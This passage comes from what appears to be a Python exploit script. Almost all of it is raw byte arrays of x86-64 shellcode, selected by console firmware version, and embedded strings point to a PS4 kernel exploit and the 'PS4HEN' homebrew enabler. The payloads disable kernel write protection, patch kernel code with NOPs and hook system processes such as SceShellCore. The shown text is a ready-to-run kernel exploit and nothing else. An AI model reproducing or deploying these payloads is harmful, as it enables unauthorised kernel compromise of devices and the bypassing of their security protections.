232,94,253,255,255,232,221,248,255,255,232,95,243,255,255,232,117,8,0,0,232,245,252,255,255,90,233,96,2,0,0,72,139,53,30,14,0,0,255,37,96,14,0,0,72,139,5,1,14,0,0,65,84,85,83,72,137,251,76,139,32,72,139,45,104,14,0,0,72,137,223,255,21,15,14,0,0,73,141,188,36,84,4,0,0,72,137,222,72,137,194,255,213,133,192,116,9,77,139,36,36,77,133,228,117,211,91,76,137,224,93,65,92,195,65,87,65,86,65,85,65,84,85,83,72,131,236,88,73,137,206,101,72,139,12,37,0,0,0,0,131,200,255,72,133,255,72,137,76,36,8,15,132,133,0,0,0,72,137,211,76,141,124,36,16,77,137,196,72,137,253,73,137,245,186,16,0,0,0,49,246,76,137,255,255,21,166,13,0,0,76,137,116,36,16,76,141,116,36,32,72,137,92,36,24,186,48,0,0,0,49,246,76,137,247,255,21,135,13,0,0,72,139,76,36,8,72,184,1,0,0,0,1,0,0,0,72,137,92,36,56,76,137,124,36,32,76,137,246,199,68,36,40,1,0,0,0,72,137,239,76,137,108,36,48,72,137,68,36,64,72,137,76,36,72,255,21,43,12,0,0,72,43,92,36,56,73,137,28,36,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,245,72,199,68,36,24,0,0,0,0,73,137,214,255,21,24,12,0,0,65,131,204,255,72,133,192,15,132,12,1,0,0,68,139,160,0,1,0,0,72,137,197,72,137,199,69,133,228,117,11,255,21,235,11,0,0,233,239,0,0,0,255,21,216,11,0,0,49,246,72,141,84,36,24,72,137,239,255,21,184,11,0,0,133,192,117,44,72,139,53,165,12,0,0,65,107,252,58,186,2,0,0,0,255,21,230,12,0,0,77,99,252,72,133,192,72,137,195,116,11,72,137,193,69,49,192,233,136,0,0,0,72,137,239,65,131,204,255,255,21,131,11,0,0,72,137,239,255,21,138,11,0,0,233,142,0,0,0,72,139,116,36,24,68,137,68,36,12,72,137,12,36,72,137,207,72,139,70,32,72,129,198,141,0,0,0,72,137,65,32,72,139,70,155,72,137,65,40,72,139,70,195,72,137,65,48,139,86,207,137,208,102,193,232,8,33,208,186,32,0,0,0,102,137,65,56,255,21,67,12,0,0,72,139,68,36,24,72,139,12,36,68,139,68,36,12,72,139,64,8,72,131,193,58,72,133,192,72,137,68,36,24,116,8,65,255,192,69,57,196,127,142,72,137,239,69,49,228,255,21,247,10,0,0,72,137,239,255,21,254,10,0,0,73,137,93,0,77,137,62,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,88,72,141,53,140,10,0,0,72,141,124,36,48,185,8,0,0,0,243,165,72,141,61,225,9,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,19,49,192,255,192,198,68,36,23,144,232,93,253,255,255,72,133,192,117,8,131,200,255,233,44,2,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,64,254,255,255,133,192,15,133,15,2,0,0,72,139,116,36,40,76,141,116,36,48,72,139,84,36,32,49,192,72,57,198,116,197,72,137,209,72,255,192,72,131,194,58,102,131,121,56,5,117,234,72,139,89,32,69,49,255,76,141,45,107,9,0,0,72,133,219,116,161,67,139,52,190,76,141,100,36,24,77,137,224,76,137,233,186,5,0,0,0,72,137,239,72,1,222,232,32,253,255,255,133,192,15,133,174,1,0,0,73,255,199,73,131,255,8,117,208,72,141,76,36,19,72,141,179,195,107,49,0,77,137,224,186,5,0,0,0,72,137,239,232,243,252,255,255,133,192,15,133,129,1,0,0,72,141,179,79,36,60,0,77,137,224,72,141,13,108,9,0,0,186,8,0,0,0,72,137,239,232,205,252,255,255,133,192,15,133,91,1,0,0,72,141,179,157,47,19,0,77,137,224,72,141,13,225,8,0,0,186,2,0,0,0,72,137,239,232,167,252,255,255,133,192,15,133,53,1,0,0,76,141,53,200,8,0,0,72,141,179,128,48,19,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,126,252,255,255,133,192,15,133,12,1,0,0,72,141,179,71,11,59,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,92,252,255,255,133,192,15,133,234,0,0,0,72,141,179,0,50,59,0,77,137,224,72,141,13,117,8,0,0,186,4,0,0,0,72,137,239,232,54,252,255,255,133,192,15,133,196,0,0,0,72,141,179,49,104,246,0,77,137,224,72,141,13,184,8,0,0,186,5,0,0,0,72,137,239,232,16,252,255,255,133,192,15,133,158,0,0,0,72,141,179,65,193,155,0,77,137,224,72,141,13,152,8,0,0,186,1,0,0,0,72,137,239,232,234,251,255,255,133,192,117,124,72,141,179,45,207,91,0,77,137,224,76,137,241,186,1,0,0,0,72,137,239,232,204,251,255,255,133,192,117,94,72,141,179,25,60,110,0,77,137,224,76,137,233,186,5,0,0,0,72,137,239,232,174,251,255,255,133,192,117,64,72,141,179,182,214,12,0,77,137,224,72,141,13,208,7,0,0,186,5,0,0,0,72,137,239,232,140,251,255,255,133,192,117,30,72,141,179,76,62,213,0,77,137,224,72,141,13,170,7,0,0,186,3,0,0,0,72,137,239,232,106,251,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,4,251,255,255,139,68,36,12,72,131,196,88,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,56,72,141,61,104,7,0,0,72,199,68,36,32,0,0,0,0,72,199,68,36,40,0,0,0,0,199,68,36,18,184,1,0,0,102,199,68,36,22,0,195,232,191,250,255,255,72,133,192,117,8,131,200,255,233,108,1,0,0,72,141,84,36,40,72,141,116,36,32,72,137,199,72,137,197,232,162,251,255,255,69,49,246,76,141,61,33,7,0,0,133,192,15,133,69,1,0,0,76,139,108,36,40,72,139,92,36,32,77,57,245,118,47,77,107,230,58,186,10,0,0,0,76,137,254,73,1,220,76,137,231,255,21,228,8,0,0,133,192,117,29,102,65,131,124,36,56,4,118,20,73,139,116,36,32,72,133,246,117,15,184,1,0,0,0,233,253,0,0,0,73,255,198,235,179,76,141,100,36,24,72,129,198,32,225,24,0,77,137,224,72,141,13,160,6,0,0,186,4,0,0,0,72,137,239,232,97,250,255,255,133,192,15,133,205,0,0,0,73,137,222,69,49,255,72,141,13,159,6,0,0,72,137,206,186,12,0,0,0,76,137,247,255,21,117,8,0,0,72,141,13,135,6,0,0,133,192,117,27,102,65,131,126,56,4,118,19,73,131,126,32,0,116,142,69,49,246,76,141,61,119,6,0,0,235,40,73,255,199,73,131,198,58,77,57,253,117,189,233,113,255,255,255,102,131,123,56,4,119,39,73,255,198,72,131,195,58,77,57,245,15,132,237,254,255,255,186,18,0,0,0,76,137,254,72,137,223,255,21,22,8,0,0,133,192,117,219,235,210,72,139,91,32,72,133,219,15,132,201,254,255,255,76,141,108,36,18,72,141,179,64,209,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,170,249,255,255,133,192,117,26,72,141,179,160,212,1,0,77,137,224,76,137,233,186,6,0,0,0,72,137,239,232,140,249,255,255,72,139,124,36,32,72,133,255,116,13,137,68,36,12,232,38,249,255,255,139,68,36,12,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,85,83,72,131,236,56,72,141,61,196,5,0,0,72,199,68,36,24,0,0,0,0,232,253,248,255,255,72,133,192,117,10,184,1,0,0,0,233,171,0,0,0,72,141,84,36,32,72,141,116,36,24,72,137,199,72,137,197,232,222,249,255,255,69,49,228,76,141,45,93,5,0,0,133,192,117,211,76,57,100,36,32,72,139,92,36,24,118,199,73,107,196,58,186,10,0,0,0,76,137,238,72,1,195,72,137,223,255,21,39,7,0,0,133,192,117,18,102,131,123,56,5,117,11,72,139,91,32,72,133,219,117,7,235,153,73,255,196,235,193,76,141,68,36,40,72,141,179,58,161,16,0,72,141,13,64,5,0,0,186,1,0,0,0,72,137,239,76,137,68,36,8,232,173,248,255,255,133,192,117,32,76,139,68,36,8,72,141,179,85,161,16,0,72,141,13,25,5,0,0,186,2,0,0,0,72,137,239,232,137,248,255,255,72,139,124,36,24,72,133,255,116,13,137,68,36,8,232,35,248,255,255,139,68,36,8,72,131,196,56,91,93,65,92,65,93,195,243,15,30,250,185,130,0,0,192,137,254,15,50,15,32,193,72,137,207,72,129,231,255,255,254,255,15,34,199,156,95,250,72,193,226,32,72,9,194,131,254,1,72,141,130,144,135,34,2,25,210,131,226,237,131,194,55,136,80,54,137,242,247,218,24,210,131,226,3,133,246,136,80,89,15,149,194,136,80,90,136,80,120,87,157,15,34,193,195,243,15,30,250,191,1,0,0,0,235,156,243,15,30,250,49,255,235,148,243,15,30,250,80,232,173,252,255,255,90,49,192,233,131,254,255,255,243,15,30,250,49,192,235,230,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,65,75,69,70,65,75,69,70,65,75,69,70,65,75,69,150,194,38,141,105,38,28,139,30,59,107,255,47,224,78,18,245,115,184,126,92,152,124,135,103,241,218,174,160,249,75,171,119,216,206,100,106,193,79,166,155,185,170,204,118,9,164,63,185,250,245,98,132,10,184,73,2,223,158,196,26,55,211,86,13,164,110,21,7,21,160,141,151,157,146,32,67,82,195,178,253,247,211,243,105,162,40,79,98,111,128,64,95,59,128,30,94,56,13,139,86,168,86,88,216,217,111,234,18,42,64,22,193,237,61,39,22,160,99,151,97,57,85,204,138,5,250,8,40,253,85,86,49,148,101,5,231,211,87,108,13,28,103,11,77,53,103,56,188,144,62,59,170,108,188,242,235,158,69,210,9,47,202,58,156,2,54,173,46,193,177,178,109,124,31,107,161,143,98,32,140,214,108,54,214,90,84,158,48,169,168,37,61,148,18,62,13,22,27,240,134,66,114,224,214,156,57,104,219,17,128,150,24,43,113,65,72,120,232,23,139,125,0,31,22,104,210,117,151,181,224,242,109,12,117,172,22,217,213,177,181,139,232,208,191,167,31,97,91,8,248,104,231,240,209,188,57,96,191,85,156,124,32,48,232,80,40,68,2,206,81,42,37,84,219,253,134,69,151,154,30,23,240,227,165,146,15,18,42,92,76,166,165,207,127,232,91,243,101,26,200,207,155,185,42,201,144,93,212,8,207,246,3,90,90,252,158,182,219,17,237,226,61,98,193,252,136,93,151,172,49,45,195,21,173,112,5,190,160,90,230,52,156,68,120,43,229,254,56,86,212,104,131,19,164,230,250,210,156,171,172,137,95,16,143,117,111,4,188,174,185,188,183,29,66,250,78,148,31,180,10,39,156,107,171,199,210,235,39,66,82,41,65,200,37,64,84,224,72,109,35,128,119,132,77,111,155,36,81,254,42,107,40,128,161,158,189,109,24,202,141,125,158,121,90,224,184,235,209,61,243,217,2,144,42,167,181,126,154,162,215,47,33,168,80,125,140,161,145,47,191,151,190,146,194,193,13,140,12,31,222,49,53,21,57,144,204,151,71,46,127,9,233,195,156,206,145,178,200,88,118,232,112,29,114,95,74,230,170,54,34,148,198,82,144,179,159,155,240,239,87,142,83,195,227,48,201,215,176,58,12,121,27,151,168,212,129,34,210,176,130,98,125,0,88,71,158,199,45,232,180,101,190,5,120,106,137,49,201,90,68,222,80,193,199,253,157,62,33,66,23,64,121,249,201,65,193,252,215,15,52,118,163,226,192,27,90,32,15,175,47,82,205,131,52,114,175,179,18,51,33,44,32,176,198,160,45,177,89,227,167,176,78,28,76,91,95,16,154,80,24,204,134,121,37,255,16,2,143,144,3,169,55,186,242,28,19,204,9,69,21,184,85,116,10,40,36,4,209,25,171,179,202,68,182,248,61,177,42,114,136,53,228,134,107,85,71,8,37,22,171,105,29,191,246,254,47,100,97,116,97,47,115,101,108,102,47,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,48,0,48,0,0,0,0,0,0,0,64,0,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,144,138,22,0,0,191,127,0,66,175,132,0,80,49,157,0,186,138,22,0,211,107,49,0,42,191,127,0,122,49,157,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw in ('800', '801', '803'):
        offs = OffsetsFirmware_800_803()
        payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,16,166,17,1,72,137,70,48,72,139,130,112,197,184,1,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,224,68,178,1,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,192,134,62,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,16,195,15,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,83,226,37,0,144,144,198,134,85,226,37,0,144,102,199,134,94,225,37,0,144,144,198,134,96,225,37,0,144,102,199,134,255,230,37,0,144,144,198,134,1,231,37,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,71,226,37,0,144,144,102,199,134,82,225,37,0,144,144,102,199,134,243,230,37,0,144,144,102,199,134,48,231,37,0,144,144,102,65,199,132,36,244,86,40,0,144,144,65,198,132,36,188,180,1,0,7,65,198,132,36,196,180,1,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,112,115,62,0,72,141,154,224,115,62,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,208,118,62,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,128,118,62,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,192,124,62,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,16,126,167,1,186,2,0,0,0,72,129,195,240,247,70,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,112,55,23,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,64,167,62,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,48,117,62,0,76,141,171,160,117,62,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,128,136,62,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,48,117,62,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,128,161,62,0,72,129,195,160,117,62,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,240,84,1,0,72,141,144,192,83,1,0,72,137,76,36,104,72,141,136,64,69,1,0,72,5,48,216,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,80,250,38,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,16,126,167,1,72,141,133,176,249,70,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,128,90,36,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,64,52,56,0,72,141,168,232,102,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,144,209,85,1,0,0,0,0,49,246,102,199,131,63